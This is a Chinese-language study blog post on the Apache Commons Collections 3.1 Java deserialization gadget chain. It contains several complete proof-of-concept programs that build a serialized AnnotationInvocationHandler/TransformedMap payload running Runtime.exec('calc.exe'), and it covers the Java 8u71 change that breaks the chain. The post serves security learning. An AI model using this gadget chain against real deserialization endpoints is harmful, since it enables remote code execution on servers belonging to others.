java反序列化Common Collections学习

环境搭建

新建maven项目
在这里插入图片描述
在pom.xml中添加

    <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>
    </dependencies>

实验代码

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class cc {
    public static void main(String[] args) throws Exception {
        Transformer[] transformer = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}),   // 返回的是getruntime的方法
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformer);
        Map innnerMap = new HashMap();
        innnerMap.put("value","value");
        Map outerMap = TransformedMap.decorate(innnerMap,null,chainedTransformer);
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, outerMap);
        // 进行序列化
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("evil1.bin"));
        outputStream.writeObject(instance);
        outputStream.close();
        // 模拟后端接受到的序列化后的数据
        FileInputStream fi = new FileInputStream("evil1.bin");
        ObjectInputStream fin = new ObjectInputStream(fi);
        fin.readObject();
    }
}

Transformer

public interface Transformer {
    Object transform(Object var1);
}

传入传出都是一个对象

ConstantTransformer

private final Object iConstant;
public ConstantTransformer(Object constantToReturn) {
    this.iConstant = constantToReturn;
}
public Object transform(Object input) {
    return this.iConstant;
}

public Object getConstant() {
    return this.iConstant;
}

设定一个对象,调用另外两个方法时返沪

InvokerTransformer

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    this.iMethodName = methodName;
    this.iParamTypes = paramTypes;
    this.iArgs = args;
}

public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var5) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException var6) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException var7) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
        }
    }
}

对值进行设定,下面的transform方法使用反射修改值,这里可以利用

ChainedTransformer

public ChainedTransformer(Transformer[] transformers) {
    this.iTransformers = transformers;
}

public Object transform(Object object) {
    for(int i = 0; i < this.iTransformers.length; ++i) {
        object = this.iTransformers[i].transform(object);
    }

    return object;
}

ChainedTransformer类会在构造函数的时候接受 Transformer[] 数组,即列表中的所有元素都要实现 Transformer 接口,同时在transform方法中会对Transformer数组中的元素按照顺序调用transform方法,同时将上一个元素的返回对象作为输入传递给下一个元素的transform方法中

分析

InvokerTransformer

前面说到在InvokerTransformer中使用了反射调用,
可以使用如下代码利用

//import java.lang.Runtime
//Runtime.getRuntime().exec("calc.exe");
import org.apache.commons.collections.functors.InvokerTransformer;

public class cctest {
    public static void main(String[] args) throws Exception {
        //通过构造函数,输入对应格式的参数,对iMethodName、iParamTypes、iArgs进行赋值
        InvokerTransformer a = new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new String[]{"calc.exe"}
        );
        //构造input
        Object input=Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
        //执行
        a.transform(input);
    }
}

invoke()

Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")

invoke调用普通方法时,传入的必须是实例化后的类
invoke调用静态方法时,传入类即可
这里利用调用静态方法getRuntime返回一个实例化后的Runtime,然后传入InvokerTransformer中的transform方法中
Runtime类也是单例模式,所以这里我们可以通过getRuntime来获取Runtime对象
在这里插入图片描述

寻找内鬼

import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class cctest {
    public static void main(String[] args) throws Exception {
        //模拟攻击
        //1.客户端构造序列化payload,使用写入文件模拟发包攻击
        InvokerTransformer a = new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new String[]{"calc.exe"});

        FileOutputStream f = new FileOutputStream("payload.bin");
        ObjectOutputStream fout = new ObjectOutputStream(f);
        fout.writeObject(a);
        //2.服务端从文件中读取payload模拟接受包,然后触发漏洞
        //服务端反序列化payload读取
        FileInputStream fi = new FileInputStream("payload.bin");
        ObjectInputStream fin = new ObjectInputStream(fi);
        //神奇第一处:服务端需要自主构造恶意input
        Object input=Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
        //神奇第二处:服务端需要将客户端输入反序列化成InvokerTransformer格式,并在服务端自主传入恶意参数input
        InvokerTransformer a_in = (InvokerTransformer) fin.readObject();
        a_in.transform(input);
    }
}

可以看到这里需要很多条件
1.写一个payload ,即服务端要构造恶意的input
2.将反序列化后的对象转换成 InvokerTransformer 类型
3.将条件2的payload作为输入传入transform方法并且执行这个方法

ChainedTransformer

/**
    * Transformer implementation that chains the specified transformers together.
    * <p>
    * The input object is passed to the first transformer. The transformed result
    * is passed to the second transformer and so on.
    * 
    将指定的转换器连接在一起的转化器实现。
    输入的对象将被传递到第一个转化器,转换结果将会输入到第二个转化器,并以此类推

具体实现在

public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

之后再结合前面的反射就可以实现一个链,接下来就是链的构造了

这里我们需要注意到input.getClass()这个方法使用上的一些区别:

1.当input是一个类的实例对象时,获取到的是这个类
2.当input是一个类时,获取到的是java.lang.Class
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class cctest {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                //以下两个语句等同,一个是通过反射机制得到,一个是直接调用得到Runtime实例
                // new ConstantTransformer(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))),
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        //输入任何不影响返回
        chainedTransformer.transform(111);
        FileOutputStream fileOutputStream = new FileOutputStream("payload.bin");
        ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
        outputStream.writeObject(chainedTransformer);

        FileInputStream fi = new FileInputStream("payload.bin");
        ObjectInputStream fin = new ObjectInputStream(fi);
        InvokerTransformer a_in = (InvokerTransformer) fin.readObject();
        Object obj = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
        a_in.transform(obj);
    }
}

前面看到过ConstantTransformer输入即返回,所以可以直接获得Runtime类,所以cls即为java.lang.Runtime
在这里插入图片描述
这里虽然能弹出计算器,不过马上就会报错,因为这个计算器是在本地弹出的,而不是下面反序列化的过程中
在这里插入图片描述

因为Runtime类的定义没有继承Serializable类,所以是不支持反序列化的。
在这里插入图片描述

在服务端构造Runtime

这里要使用反射机制来实现

Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")

在这里插入图片描述
调用getMethod(“getRuntime”)即可获得getRuntime的静态方法,调用invoke进行执行,从而返回Runtime实例

Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
        new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};

这里的new Object[0]只是占位符号,由于getRuntime函数不需要传入参数所以这里改为null也可以
构造过程

Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")

获取Runtime

//目标语句
Class.forName("java.lang.Runtime").getMethod("getRuntime")

使用java.lang.Class开头

Class.forName("java.lang.Class").getMethod("getMethod", new Class[] {String.class, Class[].class }).invoke(Class.forName("java.lang.Runtime"),"getRuntime",new Class[0]);
//invoke函数的第一个参数是Runtime类,我们需要在Runtime类中去执行getMethod,获取getRuntime参数
Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
       //还需要填充 调用getRuntime得到Runtime实例,
        new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};

利用反射获取Method类中的invoke方法,然后利用获取到的invoke方法执行前面获取到的getRuntime静态方法,从而返回Runtime对象
实际上在调用的时候使用的是invoke方法.invoke(input, this.iArgs)等同于input.invoke(this.iArgs)
用这个代码可以发现,结果是一样的

Method method  = Class.forName("java.lang.Runtime").getMethod("getRuntime");
// invoke.invoke(input,..)
Runtime obj = (Runtime) Class.forName("java.lang.reflect.Method").getMethod("invoke", Object.class, Object[].class).invoke(method,new Object[]{null,null});
obj.exec("calc");
// input.invoke(...)
Runtime runtime =  (Runtime) method.invoke(null,null);
runtime.exec("calc");

这里贴上大木头师傅的代码示例

        // 等效于 ConstantTransformer
        Class Constant = Runtime.class; // 直接返回java.lang.Runtime

        // 等效于invoker1
        Class aClass = Constant.getClass();  // aClass 返回 java.lang.Class
        Method method = aClass.getMethod("getMethod",new Class[]{String.class,Class[].class});  // 获取java.lang.class中的getMethod
        Object obj1 = method.invoke(Constant,new Object[]{"getRuntime",new Class[0]}); // 根据之前的input 获取Runtime类中的getRuntime并进行返回
        // 返回静态方法 Method
        System.out.println(obj1);

        // 等效于invoker2
        Class claz = obj1.getClass();   // 返回的为java.lang.reflect.Method类型,claz 为 reflect.Method
        Method method1 = claz.getMethod("invoke", Object.class, Object[].class);  // 获取java.lang.reflect.Method 类中的invoke方法
        Object obj = method1.invoke(obj1,new Object[]{null,null}); // 调用之前传递过来的getRuntime静态方法,返回实例化后的Runtime
        // 等效于invoker3
        Class cls = obj.getClass();             // 返回Runtime类
        Method method2 = cls.getMethod("exec", String.class);   // 反射获取Runtime类中的exec方法
        method2.invoke(obj, new Object[]{"open -a Calculator"});   // obj即为实例化后的Runtime对象
        // 等效于invoker4
        Runtime object = (Runtime) Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
        object.exec("open -a Calculator");

这里的poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Method;

public class cctest {
    public static void main(String[] args) throws Exception {
        //1.客户端构建攻击代码
        //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };
        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);

        //payload序列化写入文件,模拟网络传输
        FileOutputStream f = new FileOutputStream("payload.bin");
        ObjectOutputStream fout = new ObjectOutputStream(f);
        fout.writeObject(transformerChain);

        //2.服务端读取文件,反序列化,模拟网络传输
        FileInputStream fi = new FileInputStream("payload.bin");
        ObjectInputStream fin = new ObjectInputStream(fi);

        //服务端反序列化成ChainedTransformer格式,再调用transform函数
        Transformer transformerChain_now = (ChainedTransformer) fin.readObject();
        transformerChain_now.transform(null);
    }
}

这里面需要服务端反序列化成ChainedTransformer类型,之后需要调用transform方法

TransformedMap

TransformedMap会对Map进行一个修饰,被修饰之后的map会在添加新元素之后进行一个回调,能分别对key和value进行修饰,当调用put方法时会调用decorate方法中传入类的transformer方法,从而进行触发
在这里插入图片描述
按照从上到下的顺序调用
当在调用put方法时
在这里插入图片描述
会自动调用transform,这里正好是我们前面需要的
在这里插入图片描述
poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class cctest {
    public static void main(String[] args) throws Exception {
        //1.客户端构建攻击代码
        //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };
        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);
        //创建Map并绑定transformerChina
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        //给予map数据转化链
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        //payload序列化写入文件,模拟网络传输
        FileOutputStream f = new FileOutputStream("payload.bin");
        ObjectOutputStream fout = new ObjectOutputStream(f);
        fout.writeObject(outerMap);

        //2.服务端接受反序列化,出发漏洞
        //读取文件,反序列化,模拟网络传输
        FileInputStream fi = new FileInputStream("payload.bin");
        ObjectInputStream fin = new ObjectInputStream(fi);

        //服务端反序列化成Map格式,再调用transform函数
        Map outerMap_now =  (Map)fin.readObject();
        //2.1可以直接map添加新值,触发漏洞
        //outerMap_now.put("123", "123");
//        //2.2也可以获取map键值对,修改value,value为value,foobar,触发漏洞
        Map.Entry onlyElement = (Map.Entry) outerMap_now.entrySet().iterator().next();
        onlyElement.setValue("foobar");
    }
}

两种方法都可以触发
在这里插入图片描述
第二种的触发点在于Map.Entry.setValue
在这里插入图片描述
调用check
调用checkSetValue来触发

AnnotationInvocationHandler

漏洞触发条件虽然已经很简单了,但是还需要将反序列化的位置转换为map类型,之后执行put操作
如果能找到一个其readObject方法调用之后会对Map中的数值进行操作的类 这样就可以在调用readobject之后就会直接触发
sun.reflect.annotation.AnnotationInvocationHandler
看下他的构造函数

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
    Class[] var3 = var1.getInterfaces();
    if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {//var1满足这个if条件时
        this.type = var1;//传入的var1到this.type
        this.memberValues = var2;//我们的map传入this.memberValues
    } else {
        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
    }
}

这里会把我们传入的map传递给memberValues

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        //默认反序列化
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();//
        Iterator var4 = this.memberValues.entrySet().iterator();//获取我们构造map的迭代器

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();//遍历map迭代器
            String var6 = (String)var5.getKey();//获取key的名称
            Class var7 = (Class)var3.get(var6);//获取var2中相应key的class类?这边具体var3是什么个含义不太懂,但是肯定var7、8两者不一样
            if (var7 != null) {
                Object var8 = var5.getValue();//获取map的value
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    //两者类型不一致,给var5赋值!!具体赋值什么已经不关键了!只要赋值了就代表执行命令成功
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }
}

这里会遍历memberValues,获取var2中相应key的class类,如果不为空则调用setValue从而触发
利用反射获取AnnotationInvocationHandler,并且利用构造器进行实例化
由于AnnotationInvocationHandler的构造函数,需要参数的传入,所以需要传入 Class.class 和 Map.class
利用newInstance进行AnnotationInvocationHandler类的实例化,由于在构造函数中利用范型规定来传入的Class类型必须要继承自注解(Annotation) 所以我们在newInstance需要传入注解,Poc里传入的是元注解(Target.class)

这里有个问题,在poc里面传入的是value-value,为什么换成别的就不行

注解

Target.class其实是java提供的的元注解(因为是注解所以之后写成特有的形式@Target)。除此之外还有@Retention、@Documented、@Inherited,所谓元注解就是标记其他注解的注解。

@Target 用来约束注解可以应用的地方(如方法、类或字段)
@Retention用来约束注解的生命周期,分别有三个值,源码级别(source),类文件级别(class)或者运行时级别(runtime)
@Documented 被修饰的注解会生成到javadoc中
@Inherited 可以让注解被继承,但这并不是真的继承,只是通过使用@Inherited,可以让子类Class对象使用getAnnotations()获取父类被@Inherited修饰的注解

除此之外注解还可以有注解元素(等同于赋值)。
举个自定义注解的例子:

@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
public @interface DBTable {
    String name() default "";//default是默认值
}

它会被这样使用:

@DBTable(name = "MEMBER")
public class Member {
}

由于赋值的时候总是用 注解元素 = 值的形式太麻烦了,出现了 value 这个偷懒的语法糖。(这也是为什么之前的@Target(ElementType.TYPE)不是注解元素 = 值的形式)

如果注解元素为value时,就不需要用注解元素 = 值的形式,而是直接写入值就可以赋值为value。

除此之外java还有一些内置注解:

@Override:用于标明此方法覆盖了父类的方法
@Deprecated:用于标明已经过时的方法或类
@SuppressWarnnings:用于有选择的关闭编译器对类、方法、成员变量、变量初始化的警告

回过头来看看java.lang.annotation.Target:

@Documented//会被写入javadoc文档
@Retention(RetentionPolicy.RUNTIME)//生命周期时运行时
@Target(ElementType.ANNOTATION_TYPE)//标明注解可以用于注解声明(应用于另一个注解上)
public @interface Target {
    ElementType[] value();//注解元素,一个特定的value语法糖,可以省点力气
}

debug
在这里插入图片描述
首先会将注解传入this.type
之后AnnotationType.getInstance获取基本信息
var3就是一个注解元素的键值对value这个注解元素,可以取值Ljava.lang.annotation.ElementType类型的值
在这里插入图片描述
之后var6就是我们传入的值,var7从注解中获取var6的key值
在这里插入图片描述
所以就是我们传入的key必须要和注解的值相同

1.8中不同

在Java 8u71之后代码发生了变动。

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        GetField var2 = var1.readFields();
        Class var3 = (Class)var2.get("type", (Object)null);
        Map var4 = (Map)var2.get("memberValues", (Object)null);
        AnnotationType var5 = null;

        try {
            var5 = AnnotationType.getInstance(var3);
        } catch (IllegalArgumentException var13) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var6 = var5.memberTypes();
        LinkedHashMap var7 = new LinkedHashMap();

        String var10;
        Object var11;
        for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
            Entry var9 = (Entry)var8.next();
            var10 = (String)var9.getKey();
            var11 = null;
            Class var12 = (Class)var6.get(var10);
            if (var12 != null) {
                var11 = var9.getValue();
                if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
                    //很伤心的,没有了map赋值语句
                    var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
                }
            }
        }
        //省略不重要...
}

这里面对于原本的map即var9没有进行put或者setValue操作,新建了一个LinkedHashMap,所以漏洞无法触发
参考了不少的文章,也渐渐了解到了java反射,利用链的一些知识,只能说利用链构造的真的精妙,

参考文章

https://www.yuque.com/tianxiadamutou/zcfd4v/hsh32p#38d15054
https://xz.aliyun.com/t/7031#toc-5

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Java反序列化漏洞是指在Java程序中存在未经充分验证的反序列化操作,导致攻击者可以通过构造恶意的序列化数据来执行任意代码或获取敏感信息的安全漏洞。 这种漏洞的出现是因为反序列化操作中的ObjectInputStream类的readObject方法在反序列化对象时没有对输入的数据进行足够的验证和过滤,使得攻击者可以通过构造特定的序列化数据来触发该方法执行恶意代码。攻击者可以利用这个漏洞来执行任意命令、获取敏感信息或者进行拒绝服务攻击。 这个漏洞在2015年底由公共依赖库Apache Common Collections引起的严重安全问题引起了广泛关注,使得Java反序列化漏洞逐渐成为安全研究人员关注的焦点。 建议开发者在编写Java程序时,要注意对反序列化操作进行充分的验证和过滤,避免使用不可信的数据进行反序列化操作,以防止Java反序列化漏洞的出现。此外,及时更新依赖库和框架,以获取最新的安全修复补丁也是非常重要的。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [Java 安全之反序列化漏洞](https://blog.csdn.net/hl1293348082/article/details/123837642)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatgptT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [JAVA反序列化漏洞简单理解](https://blog.csdn.net/qq_35569814/article/details/101320937)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatgptT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值